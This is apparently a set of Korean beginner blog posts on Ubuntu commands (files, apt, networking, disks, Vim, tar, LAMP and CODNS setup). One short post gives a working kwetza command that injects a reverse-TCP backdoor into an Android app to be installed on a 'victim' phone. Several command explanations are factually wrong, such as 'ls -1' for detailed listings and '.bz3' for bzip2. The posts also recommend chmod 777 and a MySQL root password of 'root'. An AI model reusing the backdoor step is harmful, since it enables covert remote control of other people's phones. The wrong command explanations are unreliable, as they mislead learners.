Terminal
터미널에 들어가게 되면 "사용자ID@컴퓨터명:현재디렉토리~$" 이 뜬다. 이때 (~)는 사용자의 홈 디렉토리를 나타낸다. $ 표시는 일반 사용자용임을 나타내는데 일반사용자 외에 최고 권한 사용자도 있는데 "root" 인데 root 계정을 사용하게 되면 $ 이 # 표시로 바뀌게 된다.
Terminal 를 종료하는방법은 아래와 같다

 

$ exit

 

파일과 디렉토리 관련 명령어
디렉토리 이동
현재 콘솔에서 자신의 위치 즉 자기가 있는곳을 확인하려면 pwd 라는 명령어를 사용하면 된다 사용하게 되면 아래처럼 될것이다.(현재 어느 디렉토리에 위치하고 있는지 알려줌)

 

$ pwd /home/wwwww

 

위의 경우를 보면 루트 디렉토리(/)의 하위 디렉토리 home의 하위 디렉토리인 wwwww에 위치 하고 있다는 것을 보여준다.
디렉토리 이동 명령어
자신의 상위 디렉토리로 이동하려면 cd .. 을 치면 이동한다 이때 cd는 change directory라는 의미로 디렉토리를 이동할때 사용하게 된다. 상위 디렉토리로 잘 이동했는지 확인하려면 pwd 를 쳐서 확인을 할수가 있다. /home 으로 잘 이동한것을 확인할수 있을것이다. 다시 wwwww 디렉토리로 이동할려면
cd wwwww 를 치면 이동하게 된다. (~)은 사용자의 홈 디렉토리를 나타내는것을 알게되어 이를 이용하면 cd ~ 를 하면 사용자가 어떤 디렉토리에 있든지 홈 디렉토리로 이동하게 되는 명령어이다.
파일 보기
현재 디렉토리에 있는 파일과 서브 디렉토리 목록을 보려면 아래와 같이 입력한다.

 

$ ls

$ ls -1

 

ls 명령어는 간단하게 보여주고 ls -1 명령어는 자세하게 보여준다는 것이다. MS 윈도우의 콘솔에서 동일한 기능을 수행하는 명령어는 dir이다.

파일 복사
파일을 복사하는 명령어는 cp이다 cp는 copy의 약자이다. 즉 복사다. 사용방법은 아래처럼 써야한다

 

$ cp 원본_파일 대상_파일

 

예1) $ cp /home/wwwww/examples.desktop /home/wwwww/test.desktop
예2) $ cp /home/wwwww/examples.desktop /home/wwwww/test.text
예3) $ cp ./examples.desktop ./test.desktop
예4) $ cp ./examples.desktop ./test.text
즉 (..)기호는 상위 디렉토리, (.)기호는 현재 디렉토리를 뜻하는 기호이다

 

파일 이동
파일을 옮기고 싶다면 mv 명령어를 쓰면 된다 mv(move)의 약자다

 

$ mv examples.desktop test.text $ cp -r Music MusicCopy

 

위의 2번째줄에 있는 명령어는 디렉토리를 복사할때  -r 옵션을 붙여줘야 한다.

파일 삭제
파일을 삭제하는 명령어는 rm이다 rm역시(remove)의 약자이다. test.text 라는 파일을 지우는건 아래의 첫번째 줄이다 또 디렉토리를 삭제하는 명령은 -rf 를 붙여주면 된다 예로는 두번쨰줄이다

$ rm test.desktop

$ rm -rf MusicCopy

 

디렉토리 생성과 삭제

디렉토리를 생성하는 명령은 mkdir이다
$ mkdir qdqd
이명령어를 지우는 방법은 위에 적어놨지만 그방법 이외에도 rmdir 을 이용해서 지울 수도 있다.
$ rmdir gdgd
단! rmdir 명령으로 디렉터리를 삭제하려면 지우려는 디렉토리가 완전히 비어있어야 해서 rm 명령을 이용하는 것이 더 편하다.
자동 완성 기능
자동 완성 기능은 완전 쉽다 [TAB] 버튼만 누르면 된다.
예 로 설명하면
예1) rm ex[tab]
예2)e + [TAB] = ex exec exit expand 등등등 e 앞글자에 있는 것들은 다 나온다. 따라서 일정 부분 이상 단어를 입력 해야지만 내가 원하는 단어가 자동 완성해주는 기능이다

 

 

정리
지금까지 파일과 디렉토리에 관한 명령어를 해보았다. 생각보다 어렵지않았고 재미있게 할수 있었던 내용이고 처음에 가볍게 배우고 갈수 있는 내용이다.
명령어 요약

 

 

명령어                                                   설명
pwd                                                                  현재 디렉토리 위치를 알려준다.
cd                                                                      다른 디렉토리로 이동한다
ls                                                                       현재 디렉토리 파일과 하위 디렉토리 목록을 보여줌
mv                                                                     원본 파일을 대상파일로 이동함
cp                                                                      원본 파일을 대상 파일로 복사함
rm                                                                      파일 삭제 -rf 붙이면 디렉터리 삭제
mkdir                                                                 새로운 디렉토리 생성

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Linux' 카테고리의 다른 글

우분투 패키지(명령어)  (0) 2024.04.01
우분투(ubuntu) 네트워크  (0) 2024.04.01
우분투(Linux) 새로운 HDD/SSD 추가방법  (0) 2024.04.01
콘솔용 에디터 Vim  (0) 2024.04.01
Archive file 압축/해제  (0) 2024.04.01

패키지 관련 명령어
패키지[package]
우분투는 데비안계열이기 때문에 패키지 관련 " apt " 이라는 명령어를 사용하게 된다.
apt 명령어 세트에는 크게2가지가 나뉘는데 apt-get 와 apt-cache 가 있다. 여기서 apt-get 은 시스템에 영향을 주는 명령어라 권한을 상승해주어야 하는데 그 권한을 상승해주는 명령어가 sudo 라서 앞에 붙이면 된다.

 

$ sudo apt-get install 패키지이름

 

이렇게 명령어를 치면 이 패키지를 설치하는데 용량은 이만큼 되는데 정말 설치해도 되나요? 라고 물어보는데
Y(y) 라고 하면 apt-get이 알아서 우분투 패키지 관리 서버에 접속해서 필요한 패키지를 다운로드 한다음에 시스템에 설치를 완료시켜준다.
위에서 처럼 install 은 패키치를 설치해준다. install 말고도 아래와 같이 있다.

 

$ sudo apt-get update

$ sudo apt-get upgrade

$ sudo apt-get dist-upgrade

위에 첫번째는 패키지의 정보를 최신으로 갱신을 해주는 명령어이다.
!  반드시 인터넷에 접속된 상태에서 해야한다.
2번째는 설치된 패키지 중에서 버전이 갱신이 된게 있다면 서버에서 최신 버전을 받아서 업그레이드를 하는 명령어이다. 2번째 명령어를 하기 전에 첫번째 명령어를 먼저 수행해야 가장 최신 버전을 받을수 있다.
3번째 명령어는 우분투 버전 자체를 업그레이드 를 하는 명령어이다. 그런데 이 명령어는 이미 설치된 시스템을 업그레이드를 하는 것이기 때문에 처음 우분투를 새로 설치 하는것보다 불안할수 있다

 

apt-cache 는 시스템에 영향을 주지 않아 sudo 를 붙히지 않는다. 즉 아래처럼 사용하면 된다.

 

$ apt-cache show 패키지명

$ apt-cache pkgnames

$ apt-cache depends 패키지명

$ apt-cache search 패키지명

 

첫번째 show 는 지정한 패키지에 대한 정보를 보여준다.

 

Nixnote2 패키지 정보

위에 사진처럼 패키지 이름, 버전, 파일크기,라이브러리 의존성,패키지 설명 등등 다양하게 패키지 정보를 보여준다.
2번째는 시스템에 설치되어있는 모든 패키지 목록을 보여준다

 

3번째는 지정된 패키지가 어떤 라이브러리에 의존성이 있는지 보여준다. 그런데 보통 의존성이 있는 라이브러리는 apt 패키지 관리자가 알아서 같이 설치해줘서 보통은 확인을 할 필요가 없다

 

4번째는 패키지를 검색해서 결과를 보여준다.(패키지명을 일부를 입력해도됨) 설치된 패키지뿐만 아니라 서버에서 관리되는 모든 패키지를 검색할수 있다

 

정리
apt-get 관련 명령어
apt-get 명령어 정리
install,remove,purge                       
source,build-dep,check
download,clean,autoclean
autoremove,changelog
indextargets
등 많다.

 

$ sudo apt-get remove 패키지명

 

이런식으로 지정한 패키지명을 제거할수 있다. 하지만 패키지에 관련된 파일들은 삭제되지만 설정 파일 같은 파일은 지우지 않는다. 따라서 --purge 옵션을 붙여주면 패키지에 관련된 모든 파일을 싹다 삭제해버린다.

 

$ sudo apt-get autoclean

설치하는 패키지가 많아지면 관련 설치 파일이 계속 저장장치를 차지하기 때문에 이명령어를 사용하게 되면 더 이상 사용하지 않는 패키지 설치 파일을 자동으로 찾아서 삭제(제거)한다.

 

apt-cache 관련 명령어
apt-cache 명령어 정리
showpkg,stats,showsrc
dump,dumpavail,unmet
show,search,depends
rdepends,pkgnames,dotty
xvcg,policy,madison
등 많다.

 

$ apt-cache showpkg 패키지명

위의 showpkg 는 명령행에 나열된 패키지에 대한 정보를 알려준다.
나머지 명령어예시는 아래에 있다.

 

$ apt-cache show 패키지명

$ apt-cache pkgnames

$ apt-cache depends 패키지명

$ apt-cache search 패키지명

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Linux' 카테고리의 다른 글

우분투(ubuntu) 터미널  (0) 2024.04.01
우분투(ubuntu) 네트워크  (0) 2024.04.01
우분투(Linux) 새로운 HDD/SSD 추가방법  (0) 2024.04.01
콘솔용 에디터 Vim  (0) 2024.04.01
Archive file 압축/해제  (0) 2024.04.01

네크워크 관련 명령어

ping

$ ping IP주소 또는 도메인주소

위의 명령어(ping)는 가장 기본적인 네크워크 명령어로 연결에 문제가 없는지 확인하는 명령어이다.

내 컴퓨터가 인터넷에 잘 연결되어 있는지 확인하려면 아래처럼 하면 된다.

 

위처럼 나오면 google.com 서버에서 응답을 받았다는 의미다. 즉 인터넷에 연결이 잘되었다는 거다.

ifconfig

$ ifconfig

 

ifconfig 명령어는 운영체제(OS)에 설정된 네트워크 장치의 목록을 보여준다.
이 명령어를 사용하게 되면  크게 2가지 eth(숫자),lo 가 뜬다. 여기서 lo 는 loopback 이라 불린다. 이것은 운영체제 자신을 가리키고 있는 장치이자 lo 장치는 항상 IP주소가 127.0.0.1을 할당 받는데 이는 관례적으로 자기 자신을 가리키는 IP 주소로 사용된다. 용도는 외부 네트워크가 아닌 동일 컴퓨터에서 동작중인 서버나 프로그램을 접속할때 사용한다.
eth0 이라고 적힌 네트워크 장치가 실제로 네트워크와 연결되는 장치를 의미한다.
만약 네트워크 장치가 1개가 아니면 eth1, eth2 등등 여러 개가 존재하게 된다.

 

netstat

$ netstat -at

netstat은 네트워크 연결 상태를 모니터링하는 명령어이다.
이 명령어로 현재 컴퓨터에서 어떤 서비스가 동작하고 있는지를 알 수 있다

route
$ route
 
route 명령어는 인터넷 라우팅 테이블 정보를 보여준다.
여기서 라우팅이란 패킷이라는 데이터조각이 발신 컴퓨터에서 출발해서 인터넷을 거치고 수많은 라우터 또는 게이트웨이를 지나가야 한다. 이렇게 패킷이 라우터를 거쳐서 전달되는 "과정"을 라우팅(Routing)이라고 한다.

 

 

 

 

 

 

 

 

 

 

 

 

 

'Linux' 카테고리의 다른 글

우분투(ubuntu) 터미널  (0) 2024.04.01
우분투 패키지(명령어)  (0) 2024.04.01
우분투(Linux) 새로운 HDD/SSD 추가방법  (0) 2024.04.01
콘솔용 에디터 Vim  (0) 2024.04.01
Archive file 압축/해제  (0) 2024.04.01

파티션 만들기/나누기(fdisk)ㅡㅡ>파일시스템만들기
vmware 사용자 경우
먼저 vmware 로 우분투 설정에서 HDD/SDD 추가 시킨다. 나는 SDD를 5기가를 추가했다.
추가했다면 확인을 하려면 우분투 터미널에 들어가 ls /dev 를 치면 SDD가 추가되었는지를 확인할 수 가 있다.

 

$ ls /dev

 

여기서 내가 추가한 SDD를 보려면 sdb가 있는지를 보면 된다. 즉 하드디스크가 여러개(3개정도)있다면
sda / sdb / sdc 순으로로 알파벳순으로 인식이 된다. 즉 새롭게 추가한 SDD이기 떄문에 원래쓰던 sda 가 아니라 추가한 sdb를 확인하면 된다.
fdisk
fdsik 는 파티션을 나누는 역할을한다.(파티션의 자리를 정해준다)

 

$ sudo fdisk /dev/sdb

 

이렇게 치게되면
command (m for help):
가 뜬다 이상태일떄 m(manual)을 치면 Help: 옵션들이 나온다. 여기서 옵션을 찾아서 사용하면 된다.
많이 쓰는 옵션을 정리하면 아래와같다.
n : 새로운 파티션 추가
d : 파티션 삭제
t : 파티션 종류 설정
w : 디스크에 기록하고 빠져나감(저장 후 나감)
q : 변경을 저장하지 않고 종료(저장하지 않고 나감)
command (m for help): <ㅡㅡㅡ 상태일떄 n을 눌러주면

 

이렇게 파티션 타입을 선택하라 뜨는데 P(primary) 을 입력해주면된다.

그럼 파티션 넘버 (1-4, default 1): 가 뜨게 되는데 1번을 선택 해주면 된다.
이제 크기를 정해주면 된다. First sector (2048-10485759, default 2048): 가 나오는데 지정된 부분부터 한다는 것으로 엔터를 쳐주면 된다.
위 처럼 엔터를 치게되면 Last sector **** 이 뜨게 되는데 여기서  몇기가 로 할지 정하면 된다. 나는 2기가로 하고싶다면 4096000을 입력하면 된다. 이렇게 파티션 1개가 만들어졌다. 여기서 파티션이 만들어졌는지 확인하려면 우선 저장하고 나와야 되기 떄문에 w 를 눌러주면 저장하고 나온다. $ ls /dev 치면 확인 할수있다.
mkfs
mkfs는 파티션을 포맷하는 역할을 한다.
 
$ sudo mkfs -t ext4 /dev/sdb1
 
위처럼 하게 되면 Proceed anyway? 라고 물어보고 (Y,N) 가 나올텐데 하겠다 Y를 입력해주면 된다.
mount
마지막으로 마운트라는걸 해줘야하는데 마운트란 바깥에서 SDD를 추가한것을 리눅스 디렉토리에 연결을 해주는 명령어이다. 5기가를 추가한것을 2기가로 파티션 잡은걸 디렉토리에 연결해주는것이다.
그러기 위해선 일단 디렉토리를 만들고(mkdir) 마운트(mount)를 사용하면 된다.
예) (1) $ mkdir dkanrjsk
(2) $ sudo mount -t ext4 /dev/sdb1 /home/계정명/dkanrjsk
(3) 제대로 됬는지 확인 하려면 mount 를 쳐서보면 확인할 수 가 있다.(아래와같이)

 

또 마운트한걸 지우고 싶다면 umount 를 쓰면 된다.
 
$ sudo umount /dev/sdb1

 

'Linux' 카테고리의 다른 글

우분투 패키지(명령어)  (0) 2024.04.01
우분투(ubuntu) 네트워크  (0) 2024.04.01
콘솔용 에디터 Vim  (0) 2024.04.01
Archive file 압축/해제  (0) 2024.04.01
링크 파일(lnk)  (1) 2024.04.01

Vim
1. Vim 설치
우선 Vim을 우분투에서 하면 처음엔 설치가 안되어있기 때문에 설치를 해줘야한다.

 

sudo apt-get install vim

설치가 다 되었다면 $ Vi 또는 $ Vim 을 입력해주면 된다.
vim에는 일반적인 에디터와 달라서 '모드' 가 있다. 처음들어갈땐 편집모드 가 아니라 아무것도 편집을 할 수 없는 것이다. 여기서 Vim 을 종료하고싶다면 :q 라고 입력하면 콘솔로 돌아온다.
2. VIM의 모드
Vim에는 몇 가지 모드를 가지고 있다. 그 모드들은 각각 목적이 정해져 있다. 따라서 동일한 키보드 입력도 모드에따라 다르게 입력될수있다.
Vim 모드 에는 EX모드, 명령모드, 입력모드 이렇게 3가지 모드를 가지고 있다.
Vim을 실행하게 되면 항상 명령모드에서부터 시작하게된다. i, a, o, s 키가 있는데 각각 성격은 다르지만 저것들중 하나를 입력하게되면 입력모드로 전환이된다. 입력모드에서 다시 명령모드로 돌아가려면
ESC키를 누르면 다시 돌아간다. 또 명령모드에서 EX모드로 전환하려면 :, /, ?키 중에서 하나를 누르면 EX모드로 전환이 된다. 여기서도 똑같이 다시 명령모드로 돌아가려면 ESC키를 누르거나 Enter키를 누르면 명령모드로 돌아간다. 즉 EX모드에서 입력모드로 입력모드에서 EX모드로 바로 갈 수 있는 방법은 없다. 반드시 명령모드를 거쳐야만 한다.

 

3. 명령모드
명령모드에서는 키보드로 직접 내용을 입력해서 문서 내용을 편집하는 게 안된다.
대신 키보드의 다수의 키들이 각각 특정 기능의 단축키로 지정되어 있다. 따라서 여러가지 단축키를 이용해서(활용해서) 문서의 내용을 수정하고 편집할 수 있다

명령모드에서 입력모드로 전환 단축키

 

EX모드에서 중요한 명령어들

명령어                                                        설명
:w                                                               문서 저장

:q                                                                현재 문서 닫기

:q!                                                              저장안하고 나가기

:wq                                                            저장하고 나가기

:숫자                                                           지정한 라인넘버로 이동

:new                                                           가로로 창 분할

:vs                                                               세로로 창 분할

:e 파일명                                                      파일 새로 열기

:%s/imsert/insert/g                                     imsert라는 문자열을 insert 로 치환

/단어                                                             문서에서 단어를 찾는다.
                                                                     (찾은 단어 사이를 이동하려면 n 키를 누르자)

 

이렇게 좀 더 복잡한 명령어들은 전부 EX모드에 존재한다. 또한 VIM의 설정 자체를 바꾸거나 플러그 인이 제공하는 명령을 수행해야 하는 경우에도 EX모드에서 하게 된다.

 

 

아카이브 파일이란?
아카이브 파일(Archive file)은 소스 볼륨과 미디어 정보, 파일 디렉터리 구조, 오류 감지, 복구 정보, 파일 설명을 포함할 수 있는 메타데이터가 포함된 하나 이상의 파일로 이루어진 파일을 말한다.

tar 를 살펴보자
우선 tar 명령어들을 보자
-c = Archive compress (아카이브 묶기,만들기)
-x = Archive uncompress (아카이브 해제)
-t  = list
-f = file
-v = verbose (과정을 보여줌)
-J = bzip 으로 압축/해제
-z = gzip으로 압축/해제


tar 로 압축 하기 전에 연습용 디렉터리를 만들어야한다.

 

$ mkdir Test_tar

만들었다면 작업을 하기위해 디렉터리로 이동을 해준다.

$ cd Test_tar

이렇게 들어 갔다면 이제 묶어줘야 하는데 명령어는 아래와 같다.

$ tar cvf Account.tar /home/계정

할때 유의할점은 대문자 소문자를 잘 구분 해줘야 된다.
위 처럼 cvf 란 명령어는 위에 나와있는 것처럼 c : 묶어라 v : 과정을 보여라 f : 이름을 써라
인데 f는 뒤에 있는 Account.tar 이라는 이름을 주고 /home/계정은 모든걸 Account.tar 로 현재디렉토리에 하나로 모으는 것이다. 성공 했다면 아래 사진 처럼 됬을것이다.

저렇게 되었다면 된것이다. 여기서 저 하나로 모은것의 용량을 알고 싶다면 du 명령어를 쓰면 되는데 그냥 du 만 쓰면 볼수는 있지만 자세하게 볼수 없기떄문에 -h 의 옵션을 붙혀줘서
$ du -h Account.tar
를 치게 되면 아래의 사진 처럼 될것이다.

174M 의 용량이 보일것이다.
근데 여기서 압축을 할수가 있는데 2가지 툴이 있는데 gzip 과 bzip2 있다.
gzip으로 압축을 하려면

$ gzip ./Account.tar

하고 ls 를 쳐보면 아래처럼 되면 성공한것이다.

이 압축을 푸는 방법은 2가지가 있다.

 

$ gzip -d Account.tar.gz
$ gunzip Account.tar.gz

 

위의 결과는 동일하게 Account.tar 로 되었을것이다 확인하려면 ls 를 보면 된다.

여기서 여태까지 했던 압축을 한번에 하는 명령어는

 

$ tar zcvf Account.tar.gz /home/계정

을 하게 되면 50%정도 효율이 떨어지는 단점이 있지만 한번에 할수 있다는 장점이있다.
즉 처음에 했던것 처럼 일일이 하게 된다면 효율이 더 좋다. (용량 차지를 덜한다.)

여기서 home 을 만드려면 아래처럼 하면 된다.

$ tar zxvf Account.tar.gz

 

또 gzip 말고도 bzip2 있다 했는데 bzip2도 마찬가지로 아래처럼 하면된다.
단 Account.tar.gz 의 gz 은 gzip 이고 bz 가 bzip2 로 한것이다.(압축을)

$ tar jcvf Account.tar.bz3 /home/계정

 

나머지는 위에서 했던것처럼 bzip2 를 응용해서 쓸수 있다.
즉 예를 들어 $ bzip Account.tar 로 바꿔서 쓰면 된다.
마찬가지로 home 을 만들려면

$ tar jxvf Account.tar.bz3

 

이처럼 하게 되면 home 이라는게 생성이 되는데 이 홈을 들어가 보면 계정이 나오게 되는데 또 그 계정을 들어가 보면 처음으로 돌아오게 된다. 즉 처음 터미널을 켰을때 ls 를 치게 되면 나오는걸로 나오게 된다.
이제 압축한것을 지워볼텐데 지우는 명령어는 rm 이다. 하지만 -r 옵션을 붙혀주어야 깔끔하게 지워지게 된다.
$ rm -r Account.tar.bz3
$ rm -r home

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

링크 파일
우리가 많이 사용하는 운영체제 MS윈도우를 사용하다 보면 바로가기 파일이 있는데 이 바로가기 파일은 그 파일에 내용이 있는 것이 아니라 다른 파일을 가리키고 있는 파일이 바로 링크 파일이라고 한다.
확장자도 바로가기는 .lnk 로 끝난다. 그래서 리눅스에서 이와 비슷한 개념이 있는데 링크 파일은 그것인데 다른 파일을 가리키고 있다는 파일이다. 윈도우 말고 리눅스에서 링크 파일을 만드려면 ln 명령어를 쓰면되는데 여기서 옵션 -s 를 주고 링크를 탈 파일을 적고 타고 들어가는 파일을 만들면 된다. 여기서  옵션 -s 는 심볼릭 링크(Synbolic link) 를 생성하라는 옵션인데 이 옵션을 주지 않으면 하드 링크 (Hard link) 파일이 생성이 되기 때문에 이를 유의해야 한다. 예를 들어서 이런식으로 하면 링크 파일을 만들면 된다.

ln -s test.txt qwe

qwe 가 아니여도 qwe.txt 를 해도 된다.
여기서 내가 만든 링크파일이 잘 만들어졌는지 어떤 파일이 링크 파일인지 알고 싶다면

ls -l

 

이것을 치게 되면

이것이 보일것이다.
여기서 앞에 lrw 에 l 은 심볼릭 링크 파일일 경우에만 저렇게 된다. 하드 링크 파일은 어떤 파일이 링크 가 되어있는지 알기가 까다로운데 파일시스템의 inode 값을 확인해야 된다.
하드 링크가 된것을 확인하려면 -i(inode)를 치면 된다.
 
ls -i
 
이걸 치게 되면 번호가 같은 걸 보면서 하드 링크가 되어 있는 것을 볼 수 있다.
 
파일 찾기
특정 파일을 찾는 방법은 find 명령어를 쓰면 된다.
 
find . -name '*.jpg'
 
이 명령어는 현재 디렉토리와 그 하위 디렉토리를 검색해서 모든 jpg 파일을 찾으라는 명령이다.
또 find 명령어는 매우 다양한 옵션으로 파일을 찾을 수 있다. -type 옵션을 이용해서
find / -name 'Music' -type d
 
이건 루트 디렉토리부터 전부 검색해서 Music이라는 폴더를 찾으라는 명령이다.
다양한 옵션을 살펴보려면 help 명령을 사용하자.
find -help
 
이외에도
whereis vi
locate imci.txt
등이 있는데 whereis 는 vi 실행 파일이 어디 있냐 라고 해서 위치를 알려주는 명령어이다.
locate 는 find 명령어와 비슷하게 동작하지만 find보다 속도가 조금 빠르지만 다양한 옵션들이 별로 없다.
 
파일 내용 검색하기
파일명이 아니라 파일의 내용중에서 찾고 싶은게 있다면 특정 키워드가 파일 내용 안에 있는지 검색할 수 있는 방법이 있다.
find . -name '*.txt' | xargs grep -n test
현재 디렉토리와 하위 디렉토리에 있는 확장자가 txt인 파일들 중에서 저장된 내용 중에 test라는 문자열을 포함하는 파일을 찾으라는 명령이다. 또는 다르게 간단하게 입력해도 된다.
grep -r test ./
 
현재 디렉토리와 하위 디렉토리를 검색해서 test라는 문자열을 가지고 있는 파일을 찾으라는 명령이다.
이제 찾았다면 파일의 내용을 봐야되는데 파일의 내용을 살펴보자고 한다면 cat 명령어를 사용하면 된다.
cat test.txt​
파일이 너무 크다면 가장 끝에 부분의 내용만 보고 싶을때 tail 명령어를 쓰면 된다.
tail -n 50 test.txt
 
test.txt 의 내용에 끝 부분 50줄만 보여주라는 명령어 이다. tail 의 반대로 head 가 있는데 즉 맨 앞 줄 몇 라인만 보여주는 명령어도 있다.
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

아래의 영상을 토대로 진행하겠습니다.

https://www.youtube.com/watch?v=jsqjiO5fyvM

 

이 분의 영상을 참고 하다가 안되는 사람들을 위한 것임을 알려드립니다.

위 동영상 3줄 요약

1. kwetza 설치

2. 위변조 할 앱 설치 및 바꾸기

3. 피해자 폰 설치 터미널 확인하기

한 13:58초 쯤 부터 python kwetza.py minjok.apk tcp 내부 아이피 4444 yes 만 적혀 있는데 이대로 했을때 안된 사람들은

뒤에 AssistActivity 를 추가 하시면 됩니다.

python kwetza.py minjok.apk tcp 192.168.XXX.XXX 4444 yes AssistActivity

대문자 소문자 구별은 필수입니다.

참조 1.(ubuntu 16.04 환경에서 진행하였습니다.)

참조 2. https://blog.naver.com/angel_id/221564521754 를 참조 하였습니다.

참조 3. https://fishpoint.tistory.com/2230 를 참조 하였습니다.

웹 서버 관련 패키지 설치 할때 순서는 중요합니다.

1. apache2 설치

2. MySQL 설치

3. PHP 7.X 밑 관련 모듈 설치

먼저 바로 본론으로 들어가기 앞서 패키지 목록을 업데이트 합니다.

$sudo apt-get update

여기서 upgrade는 해도 되고 안해도 됩니다.

다음은 아파치 설치 부분입니다.

1. apache2 설치

$sudo apt-get install apache2

위 명령어를 먼저 입력을 합니다.

그럼 아파치가 제대로 작동을 했는지 확인하기 위해서 localhost 를 이용합니다.

주소창에 localhost 또는 127.0.0.1 또는 자신의 내부 아이피를 적어주시면 아래 사진과 같이 보인다면 성공입니다.

이 아파치2를 컴퓨터 부팅때마다 자동적으로 작동하게 하는 명령어는 아래와 같습니다.

$sudo update-rc.d apache2 defaults

다음으로는 MySQL 설치하는법입니다.

2. MySQL 설치 or MariaDB 설치

MySQL 설치는 아래와 같은 명령어를 입력합니다.

$sudo apt-get install mysql-server mysql-client libmysqlclient-dev

이 명령어가 정상적으로 작동이 되었을때 서버 부팅시 자동적으로 동작시키기 위해서는 다음과 같은 명령어를 입력한다.

$sudo systemctl stop mysql.service $sudo systemctl start mysql.service $sudo systemctl enable mysql.service

그리거 mysql-client 와 mysql-server 이 명령어를 사용했을때 후보가 없습니다. 라고 뜬다면 다음과 같은 명령어를 입력합니다.

$sudo apt-get install mariadb-server mariadb-client

그리고 나서 서버부팅시 MariaDB 서비스가 항상 시작되도록 하기 위해선 아래와 같은 명령어를 입력한다.

$sudo systemctl stop mariadb.service $sudo systemctl start mariadb.service $sudo systemctl enable mariadb.service

당연하지만 꼭 이러한 명령어를 입력할 필요는 없다

설치를 했을때 MySQL 비밀번호를 입력하라고 나올 수가 있다. 그럴때는 root 로 설정하고 넘어가자

다음은 PHP 설치 입니다

3. PHP7.1설치

처음에 update를 했을때 우분투 기본 저장소에 없을 수도 있기 때문에 먼저 7.1버전이 있는지 확인을 해본다. 다음과 같은 명령어를 입력한다.

$sudo apt-cache showpkg php

php7.1 버전이 없다면 다음과 같은 명령어를 입력한다.

$sudo apt-get install software-properties-common $sudo add-apt-repository ppa:ondrej/php

자 이제 PHP 7.1을 설치하고 관련 모듈을 설치해보자

$sudo apt-get install php7.1
$sudo apt-get install libapache2-mod-php7.1 apt-get install libapache2-mod-php7.1-common apt-get install php7.1-common apt-get install php7.1-gmp apt-get install php7.1-curl apt-get install php7.1-soap apt-get install php7.1-bcmath apt-get install php7.1-intl apt-get install php7.1-mbstring apt-get install php7.1-xmlrpc apt-get install php7.1-mcrypt apt-get install php7.1-mysql apt-get install php7.1-gd apt-get install php7.1-xml apt-get install php7.1-cli apt-get install php7.1-zip

수많은 모듈을 전부 다운로드 할 필요는 없지만 반드시 설치해야하는 것은 zip,mysql,mbstring,libapache2-mod-php7.1-common 을 설치해주어야 합니다.

마지막으로 정상적으로 작동이 잘되는지 확인을 해보아야합니다.

apache2 를 다시 시작을 합니다.

$sudo systemctl restart apache2.service

편집기는 자신이 좋아하는 것으로 사용하면 됩니다 여기선 nano 로 진행합니다.

먼저 /var/www/html 에 가서 phpinfo.php 를 만들고 내용을 입력한 후 저장하면 됩니다.

다음 명령어로 합니다.

$sudo nano /var/www/html/phpinfo.php

여기에서 <?php phpinfo(); ?>

를 입력하고 컨트롤+X를 누르고 Y를 누르면 저장이 됩니다. 나가기 위해서는 엔터를 눌러주시면 됩니다.

이제 주소창에 localhost/phpinfo.php 를 입력하게 되면 PHP 기본 테스트 페이지가 성공적으로 표시가 될 것입니다.

여기까지 오류가 없다면 성공입니다.

도중에 오타가 있을 수 있으니 오류 및 피드백 받습니다.

참고 사이트 : http://www.codns.com/codns/m/manual04.jsp , https://harineubo.tistory.com/7?category=792392

주의 : 구글 클라우드 플랫폼에서 이미 환경이 구축되어져 있다고 가정되었을 때에 쓴 것입니다.

1. 구글 클라우드 플랫폼

먼저 구글 클라우드 플랫폼 사이트에 들어간다. (윈도우 사용측에서)

다음과 같이 VM인스턴스에 환경이 구축되어져 있다면 SSH를 클릭하여 들어가준다.

2. 설정

SSH에 들어갔다면

빠르게 다음과 같은 명령어를 친다

$ sudo apt-get update
$ sudo su

sudo su 를 통해 관리자 권한을 일단 얻는다.

그리고 난 home 밑에 download 라는 디렉토리를 만들어 그안에서 진행을 하겠다 다른곳에서 다운로드를 진행해도 문제가없다.

$ cd .. $ mkdir download $ chmod 777 download $ cd download

download 디렉토리에 권한을 부여하였다면 바로 다음으로 넘어간다.

우선 다른방법으로 다운로드 하는 방법도 있지만 나는 FileZilla를 통해 파일을 옮겨서 다운로드 해주겠다.

FileZilla가 없다면 일단 설치하고 오자

다음은 codns 파일 설치 사이트다.

https://www.codns.com/download.php

들어가서

다음 사진과 같은 곳을 보고 자신의 운영체제 비트에 맞게 다운을 받는다.

다운을 다 받았다면 파일을 옮겨야 하는데 일단 파일질라에서 우리는 사용자명이 없기 때문에 만들어줍니다.

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

다음과 같은 사이트에서 RSA 와 DSA 라고 적혀있는 곳에서

32비트라면 32비트를 64비트라면 64비트를 선택해서 다운받아줍니다.

실행을 시키고

Generate를 눌러줍니다. (시간 상당히 걸림)

RSA 기법으로 만들어진 긴 key가 만들어질동안 기다립니다.

다음 사진과 같이 진행합니다.

그리고 구글 클라우드 플랫폼에서 컴퓨터 엔진 그리고 메타데이터에 들어갑니다

구글 클라우드 플랫폼 --> 컴퓨터 엔진 --> 메타데이터 --> SSH키

그리고 SSH키 를 클릭합니다.

전체 키 데이터 입력에서 아까 복사한 것을 붙혀주고 저장합니다.

파일질라에 들어가서 편집 --> 설정 --> SFTP --> 키 파일 추가 를 눌러 아까 저장한 파일을 추가해줍니다.

SFTP에 주석이라고 있는 부분이 사용자명에 들어갈 것이다.

호스트는 sftp://자신의아이피

사용자명은 rsa-key-자신의코드

하게 되면 접속이 된다.

이제 그냥 내가 원하는 디렉토리에 파일을 옮기기만 하면된다.

이제 다음과 같이 명령어를 입력해준다.

$ tar -xvf CODNS_LINUX.tar
$ chmod 777 CODNS_CLIENT.LINUX

이제 거의다 끝났다.

다음과 같은 명령어를 입력하면 끝이다

자세한 내용은 참조사이트에 들어가서 더 자세한 내용을 알 수가 있다.

$ ./CODNS_CLIENT.LINUX -start

오타 및 오류가 혹시 있을 수 있으니 피드백은 환영입니다.

+ Recent posts